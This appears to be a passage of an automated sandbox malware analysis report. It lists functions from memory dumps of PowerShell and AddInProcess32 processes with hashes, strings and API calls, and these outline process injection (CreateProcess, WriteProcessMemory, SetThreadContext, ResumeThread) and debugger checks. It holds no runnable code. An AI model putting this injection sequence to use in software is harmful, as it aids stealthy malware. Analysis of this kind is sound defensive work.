Function 004C5450 Relevance: 2.7, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X1, xrefs: 004C5500
|1, xrefs: 004C5686

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: X1$|1
API String ID: 0-1537067983
Opcode ID: 9c6c045af2523bf935ce97d7abfbe90b3a4980c393abac74111f8a4a0420a892
Instruction ID: 1513c7ceb7358e3cdb9da9650eb3a5d2ae301c625f35b103d7713857e68566a8
Opcode Fuzzy Hash: 9c6c045af2523bf935ce97d7abfbe90b3a4980c393abac74111f8a4a0420a892
Instruction Fuzzy Hash: 2B612439B00600CFCB548B689410BAFBBB2AFD5311B2484BFC509CB356DA35EC86C796

Function 004C1738 Relevance: 2.5, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\91, xrefs: 004C174D
\91, xrefs: 004C177E

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: \91$\91
API String ID: 0-3548510675
Opcode ID: ab992c176432eb24efb94050b683da2edcd787b440f00ae6bd803fb6c5d86977
Instruction ID: af1d22d9c4b6781e7746f058dd4256b81679c813abb13c9510269bfc410cdf22
Opcode Fuzzy Hash: ab992c176432eb24efb94050b683da2edcd787b440f00ae6bd803fb6c5d86977
Instruction Fuzzy Hash: EF01F9347803446FDB6467754825FBF26959F99B04F10412AF8069F3C1C9B1EC824766

Function 004C27A8 Relevance: 2.1, Strings: 1, Instructions: 846COMMON

Download Yara Rule

Strings

_, xrefs: 004C2933

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: cb70dc3ecf7de1d20a4b14429c804a53dd4690599fc117ff6ef410c3cd2d1951
Instruction ID: 88018f2b28e895ee13f660da867142ba65bb9ca639cb109fa53852511de5e22f
Opcode Fuzzy Hash: cb70dc3ecf7de1d20a4b14429c804a53dd4690599fc117ff6ef410c3cd2d1951
Instruction Fuzzy Hash: 4552F038B042059FDBA49F28C540BABB7A2EB95311F24C4BFD4158B351DBB9CD41CBA6

Function 04360006 Relevance: 1.9, APIs: 1, Instructions: 363
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0436030F

Memory Dump Source

Source File: 00000006.00000002.482376211.0000000004360000.00000040.00000800.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4360000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 8fa9f451bc635c031e12d4c8fe02a7e797b4338984138cedc6961de4faeb42de
Instruction ID: a34146feb40f3069369064ee9204a3e7f9ee8e0709bb913d6cc72e01193a8bc2
Opcode Fuzzy Hash: 8fa9f451bc635c031e12d4c8fe02a7e797b4338984138cedc6961de4faeb42de
Instruction Fuzzy Hash: F8D158B4D0021A8FDF25CFA4C8417EEBBB1BF09304F14A5A9D859B7254DB74AA85CF81

Function 00299FFD Relevance: 1.8, APIs: 1, Instructions: 344
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0029A2D7

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cbff8a12330b2547b58e183965a39cb6436c9c6f24262b6c380d44f077d47f81
Instruction ID: 7db3d0195db6227630b88fd8f60295d68acff74cf091fb290175defcd5b7dafe
Opcode Fuzzy Hash: cbff8a12330b2547b58e183965a39cb6436c9c6f24262b6c380d44f077d47f81
Instruction Fuzzy Hash: 36C124B0D102298FDF24CFA4C845BEEBBB1BF49300F1091A9E819B7250DB749A95DF85

Function 0029A008 Relevance: 1.8, APIs: 1, Instructions: 339
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0029A2D7

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 241bbac14d527ebe54782a714d82ed0142700d07b727058f3e8ba143f0afec32
Instruction ID: 0d733c1788fb5e2f4d6767f0ceca8fcc0d6679c59e8635c39c98968f4f32f33d
Opcode Fuzzy Hash: 241bbac14d527ebe54782a714d82ed0142700d07b727058f3e8ba143f0afec32
Instruction Fuzzy Hash: 09C115B1D102298FDF24CFA4C845BEEBBB1BF49300F1091A9E819B7250DB749A95DF85

Function 04360040 Relevance: 1.8, APIs: 1, Instructions: 339
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0436030F

Memory Dump Source

Source File: 00000006.00000002.482376211.0000000004360000.00000040.00000800.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4360000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d51f29ea7cb92dcfafbc8d5e445b30bfa755c0be61254c3c4d722bf90b83a95c
Instruction ID: 40c2dc7789b589aa958f0afe1d8522dda19def899d382424a57ab08083e2ebe1
Opcode Fuzzy Hash: d51f29ea7cb92dcfafbc8d5e445b30bfa755c0be61254c3c4d722bf90b83a95c
Instruction Fuzzy Hash: 8DC14770D0022D8FDF25CFA4C8417EEBBB1BF09304F10A5A9E859A7254DB74AA85CF81

Function 004C47A8 Relevance: 1.8, Strings: 1, Instructions: 584
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_, xrefs: 004C497D

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: d1a37759a2972b8fb6724b0dd866fad8a548bb9dc7d9c60e91645f7410328233
Instruction ID: a98e05ef101592d70b6d69977fc801bfe9045c2ff13225aff222ce1a32a8c730
Opcode Fuzzy Hash: d1a37759a2972b8fb6724b0dd866fad8a548bb9dc7d9c60e91645f7410328233
Instruction Fuzzy Hash: 2C126739B042508FDB558B749A20BBBBBA2AFD2310F1484BFD545DB351DA35CC42C7A6

Function 00299C69 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00299D43

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b4ce7a309fc2df0444bd3642d3c8385c4df8d31cbeab9db101eb66f1801d3c37
Instruction ID: 4b45334b617a98e1c3d6685dfb44373134e6f51019bfbf458c9b63e1c70cddbf
Opcode Fuzzy Hash: b4ce7a309fc2df0444bd3642d3c8385c4df8d31cbeab9db101eb66f1801d3c37
Instruction Fuzzy Hash: B441AEB4D012589FDF00CFA9D984ADEBBF1BB49310F20942AE818BB250D375AA55CF64

Function 00299C70 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00299D43

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b045769a61e87189849beb1ecde6031e222c47a093d86811b04f6e882365ee03
Instruction ID: 7bfd0734d9c5bf675be0240431c0c830c8828084e4c335396ee5c2cd000e984e
Opcode Fuzzy Hash: b045769a61e87189849beb1ecde6031e222c47a093d86811b04f6e882365ee03
Instruction Fuzzy Hash: 9141ACB4D012589FDF00CFA9D984ADEFBF1BB49310F20902AE818BB250D335AA55CF64

Function 00299A10 Relevance: 1.6, APIs: 1, Instructions: 101threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00299AC7

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4bde30f89d2fc95e78e96d75a61b52102c7ed8dcf190195be7e61d2edfbade6f
Instruction ID: 99820f739802965a16619dc5e670e9a1c0abac4c7bb1a1091f8fdc0c5b98c46a
Opcode Fuzzy Hash: 4bde30f89d2fc95e78e96d75a61b52102c7ed8dcf190195be7e61d2edfbade6f
Instruction Fuzzy Hash: A241BEB4D002589FDF10CFAAD484AEEBBB1FB49314F24842AE414B7250D7786985CF54

Function 00299A18 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00299AC7

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8870cd600d1ce68faeac2647073c727bdd5ee3797ab1c17bef728f27533e558f
Instruction ID: a5190b66bfe631c03e6343cc4f56c76905cfc6b45a836bd2fbbe6cef8a3c2cfe
Opcode Fuzzy Hash: 8870cd600d1ce68faeac2647073c727bdd5ee3797ab1c17bef728f27533e558f
Instruction Fuzzy Hash: 2B41ADB4D102589FDF10CFAAD884AEEBBB1FB49314F24842AE418B7250D7786995CF54

Function 00299920 Relevance: 1.6, APIs: 1, Instructions: 77threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 002999A6

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 32f16bd2717a6df5a2b55043ac005aa0e36b0b91fef0a5c756947cbc81f80d5e
Instruction ID: d5344fdfd30ac403b63e40f42c4b7347895a4c46c35a1bdff5fd8d25cd86a31e
Opcode Fuzzy Hash: 32f16bd2717a6df5a2b55043ac005aa0e36b0b91fef0a5c756947cbc81f80d5e
Instruction Fuzzy Hash: 9C31CEB4D102189FDF10CFA9D884ADEFBB0AB49320F24952AE814B7350D775A945CF55

Function 00299928 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 002999A6

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 765f3f82dd11fe4abdec3ca6a563947169408314cc45ca864b3c6a582a2e69ff
Instruction ID: 6694ca31ed0054b974eaf015df719b49fff2f7abe8cc83131555c8c877cb6694
Opcode Fuzzy Hash: 765f3f82dd11fe4abdec3ca6a563947169408314cc45ca864b3c6a582a2e69ff
Instruction Fuzzy Hash: 7731BBB4D102189FDF14CFAAD984ADEFBB4EB89310F24942AE818B7310D735A945CF95

Function 004C478D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77cbef353d7d2c8bf2f1bee0831f5aa41d3bb27f6abae7e1adc6514c719ffae5
Instruction ID: 6eee2f9f508ad92921356d39e452c208ffde113f8551b974daf14dae9df74022
Opcode Fuzzy Hash: 77cbef353d7d2c8bf2f1bee0831f5aa41d3bb27f6abae7e1adc6514c719ffae5
Instruction Fuzzy Hash: 7C41E278A042518FDB659B359620B7BBBB2AFC5310B1481AFD901AF351C339DD81CB66

Function 004C2B54 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 476ff5172241bb8f877c3f60b849b333e6fab066c2c274574416a12ef9383488
Instruction ID: 3ca6ca63ee4e77f61d9d37f35cf4ee984b1893fcb3d6b1abb0b1ecba9e60a388
Opcode Fuzzy Hash: 476ff5172241bb8f877c3f60b849b333e6fab066c2c274574416a12ef9383488
Instruction Fuzzy Hash: 4521AD78A00201DFDBA49E24C644B6EB7A1AB55310B14807FD4058B354E7F8DC82CB9A

Function 001AD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.478246669.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4f3fc44f285e2494ffb322bbe4157ff16af5907c06b60916eabc5966b4f60eb
Instruction ID: b272c0728e0a9b7bd09dc1585f9dbb8157f61931dd82946de7ea56e7ee0e8e56
Opcode Fuzzy Hash: f4f3fc44f285e2494ffb322bbe4157ff16af5907c06b60916eabc5966b4f60eb
Instruction Fuzzy Hash: 45018C6100D3C09FE7124B259D98762BFA8EF53620F1984DBE8858F5A3C2685C45CB72

Function 001AD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.478246669.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 660be0d162cac86fa9276e3ab39cdb2534a05ecf75f1a1023b1fe8eefb156cdb
Instruction ID: aebf09a806f249d6d1573b3c0abe5f45f5dadcc3b33492fe13cd8cecc3433516
Opcode Fuzzy Hash: 660be0d162cac86fa9276e3ab39cdb2534a05ecf75f1a1023b1fe8eefb156cdb
Instruction Fuzzy Hash: F801D4751047409AF7104A25D9C4767BF98EF52760F288125FC4A0A682C3799841C6B1

Non-executed Functions

Function 00294D7D Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

cresult, xrefs: 00294DAA, 00294DFA, 00294E49

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID:
String ID: cresult
API String ID: 0-2241522102
Opcode ID: 3418e2425c20a1486709822f0a1916410e7efe49e268588c5979999f0129fe54
Instruction ID: bd3dc2e05e72001f0935b48a79083f6d091e7005f657a93783a86120c6a93cd2
Opcode Fuzzy Hash: 3418e2425c20a1486709822f0a1916410e7efe49e268588c5979999f0129fe54
Instruction Fuzzy Hash: 9C412C6550E7D24FD7139B7888B94967FB0AF1B20530F09DBC4C0CF4A3DA28581AD762

Function 00295C7A Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 844e34e53d065cdd6c9a95cfad97ebbfdf4fc03a4535a776bd0b49ed0e263630
Instruction ID: 7c8a48d0525af36b850b1a56f3b863cb02f92ba57484573d2dd4326f84e8375c
Opcode Fuzzy Hash: 844e34e53d065cdd6c9a95cfad97ebbfdf4fc03a4535a776bd0b49ed0e263630
Instruction Fuzzy Hash: 9DC19D70A197D59FCB16CF68C8949897FB1FF06314B0A44DBD880DF1A3CA74A81ADB51

Function 0029C774 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca81a586762a68f1c141c9528e68cda7eeb8a095726c3fe93e79fd5ed6ab3793
Instruction ID: 325842ef7b4de44ff168ac9101645b901c7ffc96193a2587b5489d42585a27fc
Opcode Fuzzy Hash: ca81a586762a68f1c141c9528e68cda7eeb8a095726c3fe93e79fd5ed6ab3793
Instruction Fuzzy Hash: D5817BA280E3C15FD7079B3888A91953F70AF2761671E04EBC0D0CF0B3E629591AD766

Function 00298F17 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58342cc91efea8a0e00db18f5bad2854263bc427b03ef1931e93951e22ac7ea7
Instruction ID: e2f5e1ab42b4cbab79d093629224b9ef777385fad1be7007e0d81faf73e9785b
Opcode Fuzzy Hash: 58342cc91efea8a0e00db18f5bad2854263bc427b03ef1931e93951e22ac7ea7
Instruction Fuzzy Hash: CE51EFA281F3C15FEB035B3988612D63FB0AE1762234A01E7D095CF0B3E548599EC72A

Function 00298FD9 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.478280272.0000000000290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c741774ab759f33930b354fc9b405beeacd7f4a489b4b4aeb3d96858704c1ced
Instruction ID: 088ad90b62c568087ea7b3f29ddbd9cde623d6f0d465839c4e750e23a5f1ae19
Opcode Fuzzy Hash: c741774ab759f33930b354fc9b405beeacd7f4a489b4b4aeb3d96858704c1ced
Instruction Fuzzy Hash: 3D5182A180F3D15FD7076B3A98612C63FB09E4362634B02E3D095CF0B3E55C588ACB6A

Function 004C00A0 Relevance: 11.7, Strings: 9, Instructions: 417COMMON

Download Yara Rule

Strings

L4#p, xrefs: 004C03B0
`81, xrefs: 004C0240
L4#p, xrefs: 004C01BE
L4#p, xrefs: 004C0160
L4#p, xrefs: 004C01C9
L4#p, xrefs: 004C040E
`81, xrefs: 004C011B
L4#p, xrefs: 004C0419
`81, xrefs: 004C0189

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: L4#p$L4#p$L4#p$L4#p$L4#p$L4#p$`81$`81$`81
API String ID: 0-1692324471
Opcode ID: 7b83413c7bbd021b484b1f0a5529f1f86bedddeeea79c6030683ad852e7e2a48
Instruction ID: 6a14c58ec5c227b1498780d8b394b4edc09ce284a2b1a56971b646cd3e6c4874
Opcode Fuzzy Hash: 7b83413c7bbd021b484b1f0a5529f1f86bedddeeea79c6030683ad852e7e2a48
Instruction Fuzzy Hash: 48E12539B04244DFDB598B68D810BBFB7A2AF81310F18817BE9019B391CB79DD41C7A6

Analysis Process: AddInProcess32.exePID: 3000, Parent PID: 2200COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00205318 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 0020538F

Memory Dump Source

Source File: 00000008.00000002.478316934.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_200000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: fb415ae67be0abd28e1edbf758b55ec8ea75f4b11eb25af5306c03654d1d2aa6
Instruction ID: a49acfc3be5b4b14a88bde4d9426e7cb69500f82294608019d1e3a5b10b9b032
Opcode Fuzzy Hash: fb415ae67be0abd28e1edbf758b55ec8ea75f4b11eb25af5306c03654d1d2aa6
Instruction Fuzzy Hash: 6B2128B18002198FDB00CF9AD484BEEBBF4AF49350F14846AE855A7251D778A944DFA5

Function 005B1258 Relevance: 1.7, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&55p, xrefs: 005B12B3

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: &55p
API String ID: 0-1955183375
Opcode ID: 3b815ed6413055c704a90ea06c5b6525fb53cb49edcb0df9a3d3e16114994291
Instruction ID: 11956e3079f82b8864f2e5a0bdc461f543a46622063251bd06b291fd90562fcd
Opcode Fuzzy Hash: 3b815ed6413055c704a90ea06c5b6525fb53cb49edcb0df9a3d3e16114994291
Instruction Fuzzy Hash: AEF15F70B106048FDB54EFA5C494BAEBBB2FF85300F648569D4069B3A9CB71EC46CB94

Function 005B2248 Relevance: 1.5, Strings: 1, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D'?, xrefs: 005B23FA

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: D'?
API String ID: 0-3832636246
Opcode ID: 4309f1f4bd2b4208a4c2755ec6ab3133006f44b5ba6777ad68e3e610715423db
Instruction ID: 194fdb71a07f6f7bce6ab946be1e4af62ecc8f55b7f58465fdbc1aa78fa30c7e
Opcode Fuzzy Hash: 4309f1f4bd2b4208a4c2755ec6ab3133006f44b5ba6777ad68e3e610715423db
Instruction Fuzzy Hash: F3916F31B002058FDB24DF65D495AAEBBE6FF85310F208929E806DB394DB75FD4687A0

Function 005B1248 Relevance: 1.5, Strings: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&55p, xrefs: 005B12B3

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID: &55p
API String ID: 0-1955183375
Opcode ID: 63ee14a3aee0394a0c6841e951ce54647c663b52cb2e07690a40dd60a14cfabc
Instruction ID: 0aebf1ffe14040c46eb1639a6a600ba97a0975547c13ba5f9bad4a9fc7363a53
Opcode Fuzzy Hash: 63ee14a3aee0394a0c6841e951ce54647c663b52cb2e07690a40dd60a14cfabc
Instruction Fuzzy Hash: 23815D70A116048FEB14EF65C494B9EBBB2FF85300F648568E4059B3A9CB75AC46CB94

Function 005B4E40 Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38efd3d03ee6fb17c1102c94b346c85cd819ad2fe01918596c24d1148c78a47c
Instruction ID: 57634460eb3c2c8827add9e3a3247151f2e4f37e81105be09e868f3b3db48eb0
Opcode Fuzzy Hash: 38efd3d03ee6fb17c1102c94b346c85cd819ad2fe01918596c24d1148c78a47c
Instruction Fuzzy Hash: E381C331B002058FDF25AB78D4947EEBBA6FBC8310F244569E406DB356EB35EC468B91

Function 005B0ED0 Relevance: .3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f35b8158640ae757b99be2a3042683ca45d1d380851c8dbb89d3e52188c8387f
Instruction ID: cca43a37e5182d1d7db3503613f4ba73da3d918aefa9efa80b820192dd49ce0d
Opcode Fuzzy Hash: f35b8158640ae757b99be2a3042683ca45d1d380851c8dbb89d3e52188c8387f
Instruction Fuzzy Hash: 1DA16B34A00604CFCB54EBA5C554BAEBBE2FF84314F548969E40AAB350DB75FD42CB80

Function 005B0040 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae2d7766a924cde145fdc7de2587ffcffbc8d27809a6e1f888367ebf58dec335
Instruction ID: b0e385b76fcd3bd89c94334b93af090c6e4d6d95a2cb7617ade2a61ed4087c0e
Opcode Fuzzy Hash: ae2d7766a924cde145fdc7de2587ffcffbc8d27809a6e1f888367ebf58dec335
Instruction Fuzzy Hash: 46216B75E016199FDB10DF69D881BEEBBF1BB88310F108026E905E7390E775ED419B90

Function 005B0EC0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7c31fcc719c396a5f89dd74a080d395d0b1a8f2385078ef3250d7b47db30be
Instruction ID: 111080568d5b92cbd4729a646460077634432e1910f10a8bbd6d25a18ab4efc5
Opcode Fuzzy Hash: 2d7c31fcc719c396a5f89dd74a080d395d0b1a8f2385078ef3250d7b47db30be
Instruction Fuzzy Hash: 83218031B002049FDF54DBA9E454AEEBBA6FF94310F208469E405DB391D774ED468B80

Function 001BD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478284689.00000000001BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1bd000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d07968e2900207dc0be4f3528d93ca3922b7cdd753a7c87a22c7553db38430bd
Instruction ID: 1ae20ceff410943819cb42d8dc1a5ed7074499c69308aa67feedaaa168dfbeca
Opcode Fuzzy Hash: d07968e2900207dc0be4f3528d93ca3922b7cdd753a7c87a22c7553db38430bd
Instruction Fuzzy Hash: 2221D475604340DFEB18EF14E8C4B56BF65EB88314F34C6A9E8494B246D33AD847CBA2

Function 005B17EA Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
